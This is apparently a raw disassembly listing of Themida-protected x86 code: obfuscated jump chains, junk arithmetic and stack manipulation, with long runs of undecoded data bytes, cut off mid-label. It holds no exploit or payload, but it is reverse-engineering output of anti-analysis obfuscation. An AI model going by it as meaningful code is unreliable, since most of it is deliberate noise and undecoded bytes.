Themida_:0050E03Dj add esp, 4 sub ecx, 2C8C7A1Dh mov eax, [esp] add esp, 4 jmp loc_507A92 ; --------------------------------------------------------------------------- db 5Fh dd 5C240C87h, 9C2404FEh, 0FF93ADE9h db 0FFh ; --------------------------------------------------------------------------- loc_5097C1: ; CODE XREF: Themida_:00509159j mov [esp], edi jmp loc_509FC3 ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 18h dd 56FFFFF7h, 0A10C9ABEh, 5EF7314Ah, 5A2FEF81h, 0F7810FC2h dd 0FA7A987h, 1832E9h, 4DB96800h, 35E90000h, 0BF00004Eh dd 5D9A483Bh, 0C147DFF7h, 0FFE907EFh db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509803: ; CODE XREF: Themida_:0050AD40j xor edx, 4FF851A3h jmp loc_50C7CD ; --------------------------------------------------------------------------- loc_50980E: ; CODE XREF: Themida_:0050DBA2j pop edi pop dword ptr [esp] pop esp jmp loc_502DE2 ; --------------------------------------------------------------------------- dd 91E9C4FEh, 81000032h, 4C4h, 0B9515300h, 23F96F4Eh, 0FFD582E9h db 0FFh ; --------------------------------------------------------------------------- loc_509831: ; CODE XREF: Themida_:0050CA15j inc edx sub edx, 14B34419h push edx pop ecx pop edx add ecx, edi jmp loc_5092A1 ; --------------------------------------------------------------------------- dw 1C87h dd 0F211E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50984A: ; CODE XREF: Themida_:00507491j pop edx push esi mov esi, esp sub esp, 4 mov [esp], ebx mov ebx, 4 add esi, 14806908h add esi, ebx sub esi, 14806908h mov ebx, [esp] add esp, 4 sub esi, 4 xchg esi, [esp] jmp loc_50928F ; --------------------------------------------------------------------------- dw 0D604h dd 5BE9F000h, 59FFFF9Eh, 17685053h, 5801AF30h, 6C0DD8F7h dd 0E910841Dh, 0FFFFB958h ; --------------------------------------------------------------------------- loc_50989C: ; CODE XREF: Themida_:00509611j pop esi jmp loc_50D7E0 ; --------------------------------------------------------------------------- dw 0E981h dd 0B40ACCCEh, 8359CE01h, 3DE904C6h, 50FFFF9Ch, 0F8C3C5B8h dd 58C329A2h, 80E9D929h, 33FFFFEFh, 0B4E9243Ch, 81000048h dd 4C6h, 24343300h, 33243431h, 5B5C2434h, 0B9E9C331h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5098E3: ; CODE XREF: Themida_:00505397j add dword ptr [esp], 494C09BBh push dword ptr [esp] pop edx push edx mov edx, esp add edx, 4 jmp loc_50822B ; --------------------------------------------------------------------------- dd 240C8B54h, 4C481h, 0EEE90000h, 0C1000027h, 0EE8106EEh dd 75C5781Eh, 0FFB841E9h db 0FFh ; --------------------------------------------------------------------------- loc_509919: ; CODE XREF: Themida_:00507361j mov ebx, 0 add ebx, 315F2A3Bh jmp loc_50C3DE ; --------------------------------------------------------------------------- db 81h, 0C5h, 0Eh dd 5F3EF842h, 0E049ED81h, 0C28106E5h, 22EC00C2h, 3AE9EA01h dd 0D1FFFFEDh, 8E5C1E5h, 1FA9E9h db 0 ; --------------------------------------------------------------------------- loc_50994D: ; CODE XREF: Themida_:00504B9Aj push edi jmp loc_502F80 ; --------------------------------------------------------------------------- db 0FFh dd 0B2E92434h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50995B: ; CODE XREF: Themida_:0050AB67j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp sar dword ptr [esp], cl pushf jmp loc_502B6E ; --------------------------------------------------------------------------- dw 88BBh dd 0D1238B16h, 417FE9E3h, 77FF0000h, 59669D1Ch, 241CD366h dd 91E4E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50998A: ; CODE XREF: Themida_:00506CF8j add esp, 4 jmp loc_50D5E9 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 277F6850h, 3C890000h, 78E95524h, 0BAFFFFF9h, 4, 4246C81h dd 783801FEh, 4245401h, 2495E9h db 0 ; --------------------------------------------------------------------------- loc_5099BD: ; CODE XREF: Themida_:0050B974j push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 push 6204h mov [esp], eax push edx push ecx push 58A2B74h pop ecx shr ecx, 8 push esi mov esi, 16503D52h add esi, 5C3C4875h shl esi, 6 not esi jmp loc_50E955 ; --------------------------------------------------------------------------- db 81h, 0E9h, 54h dd 58612B4Eh, 2474FF51h, 48F5904h, 483BE924h, 0BE560000h dd 2D074990h, 54697BBBh, 5EF33166h, 0F702E3C1h, 8CB81D3h dd 0C14FA07Bh, 0DEE905E3h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509A2B: ; CODE XREF: Themida_:005055BDj add ecx, 4 jmp loc_507057 ; --------------------------------------------------------------------------- dw 0DAF6h dd 0F607EAC0h, 65B353DAh, 885BDA00h, 6E2C5AD1h, 0C72C1E04h dd 0C704C828h, 0FFE4B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_509A55: ; CODE XREF: Themida_:005094BCj add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 jmp loc_50D551 ; --------------------------------------------------------------------------- db 52h, 0B2h, 0Bh dd 0FFE570E9h db 0FFh ; --------------------------------------------------------------------------- loc_509A81: ; CODE XREF: Themida_:0050EF0Dj mov [esp], ebp mov ebp, edi push ebp push esi push ecx mov ecx, 18CE35D1h xor ecx, 1EA56EA7h neg ecx jmp loc_506C03 ; --------------------------------------------------------------------------- db 88h dd 58E388CCh, 0FFB927E9h, 0B2B050FFh, 685B24h, 28000000h dd 16E92404h, 50000046h, 0F37E75B8h, 0C1D8F751h, 9A2D06E0h dd 31076732h, 0D68958C2h, 56DEF75Ah, 5E2414F7h, 0FFC384E9h dd 8B6664FFh, 34E1E902h, 0EF810000h, 3AA8A7FDh, 815FF989h dd 287D3EEEh, 0B741E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509AF6: ; CODE XREF: Themida_:00506385j pop ecx inc ecx jmp loc_503FE9 ; --------------------------------------------------------------------------- loc_509AFD: ; CODE XREF: Themida_:00502BCCj mov ecx, esp push edx mov edx, 9EF70FEh sub edx, 0FFFFFFFFh neg edx jmp loc_50ABAE ; --------------------------------------------------------------------------- db 59h dd 4BB53h, 0E9530000h, 190h, 51D80159h, 2B98BF57h, 0F98972B0h dd 0FFBC8DE9h, 555659FFh, 0D84016BDh, 9FFDBE7Bh, 85E9E887h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509B3F: ; CODE XREF: Themida_:00507595j push 322Ah mov [esp], ecx mov ecx, 11A86A77h push edi jmp loc_50D244 ; --------------------------------------------------------------------------- loc_509B52: ; CODE XREF: Themida_:00506A37j dec ebx xor ebx, 54F13A87h or eax, ebx pop ebx sub eax, 50F22023h add eax, 7FEC9B9Bh add esi, eax pop eax xor esi, 34804998h jmp loc_50BC10 ; --------------------------------------------------------------------------- dd 9C168h, 24348900h, 4BEh, 29C58100h, 137B82Bh, 29BE56F5h dd 2937B82Bh, 61E95EF5h, 89FFFFC8h, 0B9512434h, 17CB2416h dd 5787E9h db 0 ; --------------------------------------------------------------------------- loc_509BA5: ; CODE XREF: Themida_:00509750j add esp, 4 push ebx jmp loc_508DCC ; --------------------------------------------------------------------------- db 47h, 0E9h, 0CCh dd 0B000000Eh, 59C83005h, 0E0C0DD04h, 2CA70C03h, 0FFC32847h dd 81582434h, 4C4h, 68EB8000h, 4756E9h db 0 ; --------------------------------------------------------------------------- loc_509BD9: ; CODE XREF: Themida_:005063F3j pop ebp sub ecx, 0FFFFFFFFh inc ecx or ecx, 1E905836h push ebp mov ebp, 41824FCh add ebp, 8CA575Eh and ebp, 49557112h jmp loc_5039C3 ; --------------------------------------------------------------------------- dw 0B951h dd 611D77CAh, 4E9C149h, 158E9h, 0BBB45000h, 53ABCC80h dd 77E999B3h, 68000051h, 0B9h, 89243C89h, 4C781E7h, 83000000h dd 148904ECh, 4BA24h, 0D7290000h, 243C875Ah, 3B99E9h, 0C1665D00h dd 0F76608E9h, 0F18166D1h, 0C2E9270Fh db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509C53: ; CODE XREF: Themida_:0050D376j push edi push edx mov edi, [esp] add esp, 4 pop edx jmp loc_50E969 ; --------------------------------------------------------------------------- dd 0C9E9D801h, 8100000Bh, 4C3h, 4B95100h, 1000000h, 1C3359CBh dd 98E3E924h, 0E4B8FFFFh, 0E9083038h, 0FFFFCF3Eh, 0FD08595Ah dd 75C5805Bh, 7AA36866h, 24148966h, 1F65E950h, 0CEB20000h dd 0E95AD000h, 0FFFF995Ah, 5C68D4BBh, 4793E912h, 0FE200000h dd 8E6C05Bh, 809BCE80h, 0F02822F6h, 0AE9535Ah, 0FF000022h dd 0FF042474h, 52582434h, 0C6E9E289h, 57FFFF9Bh, 0F045E0BFh dd 46BD556Eh, 811CB977h, 5C70C3EDh, 5DEF0911h, 28F9E781h dd 0DAE935C7h, 4000001Dh, 0AB23802Dh, 0C8FEE94Eh, 0C148FFFFh dd 0F8E903E8h, 8100004Dh, 0FFFFFFC2h, 67F281FFh, 53678447h dd 9B4FF6BBh, 2BC38179h, 0F7370501h, 0A970E9D3h, 0F781FFFFh dd 0FC9596Dh, 15FFD31h, 81495DE9h, 4DEFD6E9h, 59CB316Ch dd 353CE9h, 24248B00h, 0E968EB80h, 0FFFFCAB1h, 4EC81h dd 34890000h, 0E3895324h, 0FFA1DBE9h, 30F181FFh, 0F777411Ah dd 12E981D1h, 14FA8F8h, 0EE8159CEh, 6A9A42BDh, 1634B850h dd 0A1E931FDh, 83FFFFBFh, 59042404h, 4C181h, 0EC810000h dd 4, 0BA241489h, 4, 0FFE3CBE9h, 4193B9FFh, 0C981200Fh dd 5F6430C4h, 3878E981h, 0C1814880h, 45102EE1h, 6844F181h dd 0C8897BFFh, 58C22959h, 8B241487h, 2C892424h, 55F58924h dd 2434FF5Fh, 52242C8Bh, 0C281E289h, 4, 4C281h, 14870000h dd 0C4815C24h, 4, 5BDFC781h, 94E91B35h, 80000023h, 0DE008DEEh dd 5B8DC680h, 74C680h, 74EE80CEh, 599CEE80h, 0FFEBE8E9h dd 81E953FFh, 0F7000017h, 0C18141D9h, 0D4DAC0B9h, 0E959CE89h dd 0FFFFDBE5h, 0EC83E689h, 24048904h, 4B8h, 8BC60100h dd 0C4832404h, 2C68104h, 87000000h, 0E4E92434h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_509E53: ; CODE XREF: Themida_:00507D88j pop eax add edx, eax sub edx, 67613EE7h mov eax, [esp] add esp, 4 push 2138h mov [esp], eax jmp loc_5062A9 ; --------------------------------------------------------------------------- db 87h dd 0C7815BDFh, 8C21A6C7h, 0FF9990E9h, 5EF121FFh, 320CE981h dd 0EE92000h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_509E8B: ; CODE XREF: Themida_:0050A867j push esp pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_50C51A ; --------------------------------------------------------------------------- db 81h dd 1D112AEEh, 7FE95A6Eh, 0F7FFFFD0h, 0E52E9DDh, 89530000h dd 4C381E3h, 83000000h, 96E904EBh, 87FFFFEAh, 0E95C242Ch dd 0FFFFC022h, 4C5815Bh, 0E9000000h, 0FFFFB558h ; --------------------------------------------------------------------------- loc_509EE0: ; CODE XREF: Themida_:00508DD7j sub bl, dl pop edx shr bl, 6 push ecx mov cl, 1Fh sub cl, 2 not cl add cl, 94h jmp loc_50B02D ; --------------------------------------------------------------------------- dw 2C33h dd 242C3124h, 5C242C33h, 81240C89h, 4ECh, 24248900h, 0FFFE76E9h dd 81EFD1FFh, 161CC9EFh, 0E9DFF777h, 3B41h, 4C4815Bh, 0E9000000h dd 0FFFF9907h ; --------------------------------------------------------------------------- loc_509F2C: ; CODE XREF: Themida_:00507C33j pop ebx add eax, edi add eax, 14345A15h push ebx mov ebx, 78245D81h add ebx, 5A001436h xor ebx, 28094090h neg ebx jmp loc_5091FE ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 0F0h dd 89000017h, 2BB241Ch, 89000000h, 0ECE8E9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509F62: ; CODE XREF: Themida_:0050AE43j mov [esp], eax mov eax, 6D19568Dh mov dword ptr [ecx], 0BE8190FCh sub [ecx], eax jmp loc_506CEE ; --------------------------------------------------------------------------- db 66h dd 0E924048Bh, 0FFFF8E0Dh, 0F741D9F7h, 63E181D9h, 8144072Ch dd 1E80CE9h, 59CF31C4h, 48E4EF81h, 0E7C11E0Ah, 4FD7F707h dd 1A40EF81h, 0F8897E99h, 51243C8Bh, 0C181E189h, 4, 0E904C183h dd 340Dh, 0CE9EB89h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_509FC3: ; CODE XREF: Themida_:005097C4j push eax mov eax, 4 mov edi, eax jmp loc_508C30 ; --------------------------------------------------------------------------- loc_509FD0: ; CODE XREF: Themida_:00503777j shr eax, 0Ah xor eax, ecx push ecx push esp pop ecx push edi mov edi, 398665DFh shl edi, 2 and edi, 3A576930h add edi, 2F6F7C7Ah xor edi, 51807DAEh add ecx, edi pop edi sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_50BA3C ; --------------------------------------------------------------------------- db 1, 0C8h, 53h dd 10943BBh, 0CAEB814Fh, 14D76EEh, 0C8B5BD8h, 3C79E924h dd 2C890000h, 67DDBD24h, 0E16861ABh, 5A61AB67h, 15DEA29h dd 0FF515AD1h, 59042474h, 0FF8C1FE9h db 0FFh ; --------------------------------------------------------------------------- loc_50A03D: ; CODE XREF: Themida_:0050F0C0j xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_505EBF ; --------------------------------------------------------------------------- loc_50A04E: ; CODE XREF: Themida_:005040E3j shr edx, 1 cmp eax, edx jz loc_50D5E9 push 1158h mov [esp], ecx mov ecx, 7C75432Eh jmp loc_50655A ; --------------------------------------------------------------------------- dw 8B5Dh dd 0C483242Ch, 4C58104h, 53000000h, 4BBh, 0D0A4E900h, 0E7E9FFFFh dd 8BFFFF8Ah, 0C483243Ch, 4C78104h, 83000000h, 0FF5704C7h dd 8B042474h, 0C481243Ch, 4, 8B24048Fh, 34FF2424h, 63685824h dd 0E900007Ch, 279h, 5966EE28h, 6684B151h, 30CEB753h, 1C8B66F9h dd 2C48324h, 0C0F7E953h, 0C501FFFFh, 0FFDC5FE9h db 0FFh ; --------------------------------------------------------------------------- loc_50A0D9: ; CODE XREF: Themida_:00508BBAj add esp, 4 add edi, 4 jmp loc_505DFE ; --------------------------------------------------------------------------- db 81h dd 220E85E6h, 0B184E918h, 0EF81FFFFh, 463815D1h, 0AC03E958h dd 295EFFFFh, 0F42D5AD0h, 834FEE22h, 2C8904ECh, 9924E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A112: ; CODE XREF: Themida_:0050BD28j mov al, 0B4h add bl, al pop ax inc bl add bl, 4Eh push eax mov ah, 88h sub bl, ah pop eax add dh, bl pop ebx and dh, 7Bh sub esp, 4 mov [esp], ecx mov cl, 52h xor cl, 0DCh dec cl add cl, 0FFh not cl sub cl, 36h add cl, 93h jmp loc_50A6C5 ; --------------------------------------------------------------------------- loc_50A146: ; CODE XREF: Themida_:005039BEj mov esi, 96D1896Ah jmp loc_50E1BA ; --------------------------------------------------------------------------- dd 8002C483h, 0E5C001EDh, 0B6ED8005h, 0E8007404h, 0D02E9h dd 4C48100h, 66000000h, 0C166D0F7h, 836604E8h, 0D6E901E8h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_50A17B: ; CODE XREF: Themida_:0050779Ej push esi jmp loc_50B9FE ; --------------------------------------------------------------------------- db 50h, 51h, 0E9h dd 0FFFFFC1Dh, 51595966h, 0C181E189h, 4, 8704E983h, 38E9240Ch dd 0FFFFFA5h, 8956C8BEh, 0E95357E6h, 0FFFFA63Ah ; --------------------------------------------------------------------------- loc_50A1AC: ; CODE XREF: Themida_:005086A5j add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] add eax, 20D33367h jmp loc_50316B ; --------------------------------------------------------------------------- dd 89241C89h, 685256E3h, 73144FA2h, 8124148Bh, 4C4h, 3E2C100h dd 3A2BE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50A1E2: ; CODE XREF: Themida_:0050C9C9j push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] add esp, 4 push 4A09h mov [esp], eax sub esp, 4 jmp loc_504BDC ; --------------------------------------------------------------------------- loc_50A1FE: ; CODE XREF: Themida_:00503FC1j add esi, ebp jmp loc_50F0BA ; --------------------------------------------------------------------------- db 81h, 0EDh, 28h dd 5F31DE5Bh, 8704C583h, 248B242Ch, 0FF85E924h, 895DFFFFh dd 0B8C0E9FBh, 0C581FFFFh, 0AEF8CBFBh, 575DEF89h, 0BEC7E95Dh dd 295FFFFFh, 5E042474h, 8124148Bh, 4C4h, 0C5C28100h, 5E033658h dd 3558E9h db 0 ; --------------------------------------------------------------------------- loc_50A24D: ; CODE XREF: Themida_:00506479j push dword ptr [esp] jmp loc_50D640 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aHO db '$h',7,'o',0 align 2 dw 3489h dd 51E68924h, 0FF9E07E9h, 243489FFh, 181FE9h db 0 ; --------------------------------------------------------------------------- loc_50A271: ; CODE XREF: Themida_:00504DBEj not dword ptr [esp] mov edi, [esp] push eax push esp jmp loc_50308C ; --------------------------------------------------------------------------- dw 0F389h dd 0ECC7E95Eh, 7968FFFFh, 8900005Ch, 0FD682434h, 89000037h dd 0BA68243Ch, 5F46D044h, 241C8757h, 1C87D3F7h, 0EF815F24h dd 1, 1829CF81h, 0BB53634Fh, 0F859E3A8h, 505BDF31h, 0C689F889h dd 0FF6CE958h, 0E089FFFFh, 7FE268h, 243C8900h, 3CA5E9h dd 0CB015D00h, 1CEB8159h, 52767B78h, 731857BAh, 6CE95773h dd 50000009h, 0E9241C8Bh, 4B38h ; --------------------------------------------------------------------------- loc_50A2F4: ; CODE XREF: Themida_:0050CD12j push ecx jmp loc_5082D7 ; --------------------------------------------------------------------------- dw 8166h dd 661985C9h, 140AC181h, 14C3E9h, 56C68900h, 0FFFF75E9h dd 16C281FFh, 894BF6C8h, 71685AD6h, 8900001Ah, 8AB9240Ch dd 0F75D086Ch, 525341D1h, 0FF8A4AE9h, 243C89FFh, 0E904EC83h dd 3C73h, 0F6685D58h, 8900006Ch, 22E92434h, 1FFFF91h, 2434FFFAh dd 4C4835Fh, 5C241487h, 0B60FC330h, 8734FFC0h, 0FF8809E9h dd 81F301FFh, 8B1BF1C3h, 0DCC38110h, 5E714444h, 3C685751h dd 0E9406926h, 0FFFFC28Bh, 89560104h, 4C681E6h, 0E9000000h dd 3FDAh, 564532BEh, 4408E96Ch, 0E9530000h, 2702h ; --------------------------------------------------------------------------- loc_50A3A0: ; CODE XREF: Themida_:0050F269j push edx push ebx jmp loc_505729 ; --------------------------------------------------------------------------- db 66h dd 52240C8Bh, 4FE9E289h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A3B3: ; CODE XREF: Themida_:005074C1j mov ebp, [esp] add esp, 4 add ecx, 10DF4008h add ecx, edi sub ecx, 10DF4008h add ecx, 6911008h push edx mov edx, 0 add edx, ecx mov eax, [edx] jmp loc_50B135 ; --------------------------------------------------------------------------- loc_50A3DC: ; CODE XREF: Themida_:00508EB8j push edx mov edx, 7C2035A6h jmp loc_50A463 ; --------------------------------------------------------------------------- db 1 dd 0FF5558C5h, 5D042474h, 5C24048Fh, 9C242CD3h, 0FFF39DE9h dd 4FC781FFh, 291E3755h, 4FEF81D7h, 0E91E3755h, 0FFFFAF6Ch ; --------------------------------------------------------------------------- loc_50A410: ; CODE XREF: Themida_:005092BEj mov edi, [esp] push ebx mov ebx, esp push edi mov edi, 621004AFh add edi, 594B5FA8h and edi, 5BA63BAEh dec edi add edi, 0E4FDDFFFh jmp loc_5076BA ; --------------------------------------------------------------------------- dd 0B050C2FEh, 0A495E934h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A43E: ; CODE XREF: Themida_:00507C8Dj xor [esp], eax jmp loc_50BF45 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 6802C683h, 5D4Eh, 0FFE89BE9h, 5FF901FFh, 45E9C101h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A463: ; CODE XREF: Themida_:0050A3E2j xor [esp+4], edx pop edx pop ecx xor ecx, 7C2035A6h pop ebx push ebx mov ebx, 561C5219h jmp loc_50D326 ; --------------------------------------------------------------------------- loc_50A47B: ; CODE XREF: Themida_:0050F3D1j mov [esp], esi sub dword ptr [esp], 67A2547Dh pop edi add edi, 67A2547Dh pop esi mov eax, edi jmp loc_50A7B2 ; --------------------------------------------------------------------------- dd 0E2BE565Fh, 5765A968h, 54761BBFh, 0E8C58111h, 296F652Fh dd 0E8BF57FDh, 0E96F652Fh, 0FFFFB30Fh, 5C241C87h, 0A0A68h dd 241C8900h, 8904EC83h, 4812424h, 424h, 241C8B00h, 0E904C483h dd 57h, 8324048Fh, 5D042404h, 0FFF68FE9h, 3E1C1FFh, 0C105E9C1h dd 0F18107E9h, 19A35524h, 8159CF89h, 0FA1AF6C7h, 0E9F9290Dh dd 0FFFFC939h, 0CFF9E95Fh, 6851FFFFh, 4B72h, 81242489h dd 42404h, 52590000h, 0DF537EBAh, 5E2C157h, 7A74C281h dd 0AE9534Dh, 52000038h, 0D47210BAh, 8E2C124h, 30DFF281h dd 8FE95EF1h, 0BB000029h, 6FC31475h, 3AD1BD55h, 0CD81605Bh dd 76701195h, 42E9D5F7h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A55B: ; CODE XREF: Themida_:005063B7j pop ebx add ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_50AEDB ; --------------------------------------------------------------------------- dd 9C241CF7h, 0FF85E9E9h, 59CE01FFh, 0CDDE9h, 0EC835D00h dd 240C8904h, 5DFBBD55h, 0EDC16371h, 81D5F707h, 391D42EDh dd 5DE989FFh, 0C4E9CA29h, 0FF00000Eh, 75E92C77h, 89FFFF8Dh dd 0E9542414h, 0FFFFBF0Eh, 7347685Ch, 3C890000h, 815F5424h dd 4C7h, 4B85000h, 1000000h, 3C8758C7h, 24248B24h, 81240C8Bh dd 4ECh, 24348900h, 446068h, 24248900h, 46852h, 61E90000h dd 81000029h, 0B823C6E6h, 0B0EE814Eh, 12D0C4Eh, 0EA015EF5h dd 2C2835Dh, 0E904EC83h, 26FBh, 0BD665551h, 81666585h dd 6631BACDh, 0D5F7664Dh, 0FFC012E9h, 0B7A32DFFh, 0C331211Ah dd 0FFB82DE9h, 0E7C158FFh, 70EF8108h, 813730CBh, 5235B7C2h dd 9FEA8104h, 29165A61h, 9FC281FAh, 0E9165A61h, 0FFFFE8C4h dd 5E9468h, 241C8900h, 504CB151h, 0FFF42AE9h, 34875BFFh dd 8DC8E924h, 489FFFFh, 2474FF24h, 185CE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50A686: ; CODE XREF: Themida_:00506BB8j mov eax, [esp] jmp loc_5094C1 ; --------------------------------------------------------------------------- dw 6852h dd 7AEA6B92h, 81DAF75Ah, 15946AEAh, 5AD38985h, 875BDA01h dd 248B2414h, 0D1C20924h, 39F468E2h, 14890000h, 1BA24h dd 0BB530000h, 24h, 0FFDB73E9h db 0FFh ; --------------------------------------------------------------------------- loc_50A6C5: ; CODE XREF: Themida_:0050A141j xor dh, cl pop ecx jmp loc_50604F ; --------------------------------------------------------------------------- db 1, 0D1h, 5Ah dd 5C240C87h, 24048B66h, 1C8B5453h, 4C48324h, 81E38953h dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 0C8E92414h, 0E900002Ah dd 0FFFF846Eh, 4EC81h, 14890000h, 4EBD5524h, 0BA6FBD5Ch dd 0C52BBFAAh, 895DEA29h, 0B8505AD6h, 2C0D5D64h, 0E9FFE883h dd 393Ah, 5258EFB8h, 24440152h, 24048B04h, 5B04C483h, 58EFEB81h dd 0E95E5252h, 0FFFFE162h, 2055Bh, 4870000h, 24D25C24h dd 17E99C24h, 0E9FFFF84h, 0FFFF8412h, 240C8B5Bh, 4C481h dd 0C3310000h, 379FE9h, 50685E00h, 89000008h, 58E9242Ch dd 5AFFFFDDh, 0FC18E951h, 3C89FFFFh, 3FBCE924h, 0BB530000h dd 4, 684FB850h, 0C52905D0h, 0FFA6C0E9h, 81DFF7FFh, 0F7F83DF7h dd 48EB81BBh, 1348918h, 0C597E9FBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A7B2: ; CODE XREF: Themida_:0050A48Fj pop edi push 2146h mov [esp], edx push ebx mov ebx, 1000000h mov edx, ebx mov ebx, [esp] push ecx mov ecx, esp push ecx mov ecx, esp jmp loc_503AC3 ; --------------------------------------------------------------------------- loc_50A7D1: ; CODE XREF: Themida_:00505BF3j mov [esp], ax push ecx mov cl, 62h add cl, 5Fh shr cl, 2 sub cl, 6Ch inc cl shr cl, 6 xor cl, 8Ch mov al, cl pop ecx sub bl, al mov ax, [esp] push edi jmp loc_50C10C ; --------------------------------------------------------------------------- dd 632196BBh, 5BD82927h, 0BD55F001h, 27632196h, 5E5DE801h dd 0C61A762Dh, 50535B32h, 863C55B8h, 3E112528h, 24E94AF6h db 8Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A823: ; CODE XREF: Themida_:005037F7j add edi, esi jmp loc_505A3D ; --------------------------------------------------------------------------- dw 0D189h dd 0E924148Bh, 0FFFFBAAEh, 0EFB9E957h, 28FFFFFh, 0FF832DE9h dd 0E9E589FFh, 0FFFFE273h, 51240C8Bh, 0C181E189h, 4, 8704C183h dd 3BE9240Ch db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_50A85F: ; CODE XREF: Themida_:005058EDj add ebx, ebp pop ebp xchg ebx, [esp] pop esp push ebx jmp loc_509E8B ; --------------------------------------------------------------------------- loc_50A86C: ; CODE XREF: Themida_:005092E7j sub edx, 42B97904h or edx, 2720827h not edx inc edx add edx, 11D11784h jmp loc_506577 ; --------------------------------------------------------------------------- dw 487h dd 89665C24h, 0B3532414h, 281AB263h, 0D5885BDAh, 0CDFE5A66h dd 23B35366h, 282CED80h, 3CA2E9DDh, 0C3810000h, 4, 4EB81h dd 1C870000h, 24248B24h, 0FFC667E9h db 0FFh ; --------------------------------------------------------------------------- loc_50A8C1: ; CODE XREF: Themida_:0050448Aj pop esp xor eax, edx push dword ptr [esp] jmp loc_5070E3 ; --------------------------------------------------------------------------- dd 895EF089h, 85E958C5h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50A8D7: ; CODE XREF: Themida_:0050C5AAj sub dword ptr [esp], 7F774BB6h jmp loc_503CD1 ; --------------------------------------------------------------------------- db 55h dd 1358ACBDh, 0E9EA31AEh, 1F7Ch, 59CE015Bh, 38A9E9h, 24143100h dd 5C241433h, 240CD366h, 8264E99Ch, 8759FFFFh, 248B2404h dd 0C8B6624h, 3CC36824h, 0C890000h, 56E18924h, 0C681E689h dd 4, 4EE81h, 34330000h, 24343124h, 8B243433h, 4892424h dd 2CDFE924h, 27E90000h, 83FFFF82h, 4EE904C4h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A94F: ; CODE XREF: Themida_:0050DC33j pop eax push 3FD9h jmp loc_508D0D ; --------------------------------------------------------------------------- dw 0FE9h dd 55FFFF82h, 235F01BDh, 37C58125h, 81113C56h, 75504AE5h dd 0F53DE976h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A976: ; CODE XREF: Themida_:0050BEC4j or edi, 40DC6A14h push esi mov esi, 30C0349Dh jmp loc_503791 ; --------------------------------------------------------------------------- db 5Bh dd 5C240C87h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_508A95 ; --------------------------------------------------------------------------- dd 0BE9C801h, 0BFFFFF9Dh, 46382378h, 8108EFC1h, 700057C7h dd 5FFB29EBh, 31E9D989h, 81FFFFFFh, 146BEEEDh, 98ED810Ch dd 8157DF7Ah, 3911DBF5h, 88F58117h, 29E99B7Eh, 46ABE9EAh dd 34FF0000h, 34E95F24h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A9E7: ; CODE XREF: Themida_:00507C2Cj pop esp add al, bl pop ebx push eax mov al, 17h add al, 1 xor al, 8Ah not al sub al, 0EBh sub bl, al mov eax, [esp] add esp, 4 push ecx mov ch, 94h jmp loc_50D2AD ; --------------------------------------------------------------------------- dw 0E95Dh dd 0FFFFAFDDh ; --------------------------------------------------------------------------- loc_50AA0C: ; CODE XREF: Themida_:00507A93j mov ebx, esp add ebx, 4 jmp loc_505972 ; --------------------------------------------------------------------------- db 81h, 0EEh, 8Ch dd 9E4D6B8h, 0F3815EF3h, 18AA2774h, 6535E381h, 0DBF75D13h dd 19A2F381h, 0EB8150EFh, 56A65CFBh, 685BDE29h, 0BE3h dd 0E9240C89h, 0FFFF8A98h, 0C681EE01h, 455E00FDh, 2434875Dh dd 0B9C7E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AA5E: ; CODE XREF: Themida_:00508124j push 0FFFFh mov ecx, [esp] jmp loc_5067F1 ; --------------------------------------------------------------------------- db 5Bh dd 0FFED5EE9h, 4EC81FFh, 0E9000000h, 0FFFF8AAFh ; --------------------------------------------------------------------------- loc_50AA7C: ; CODE 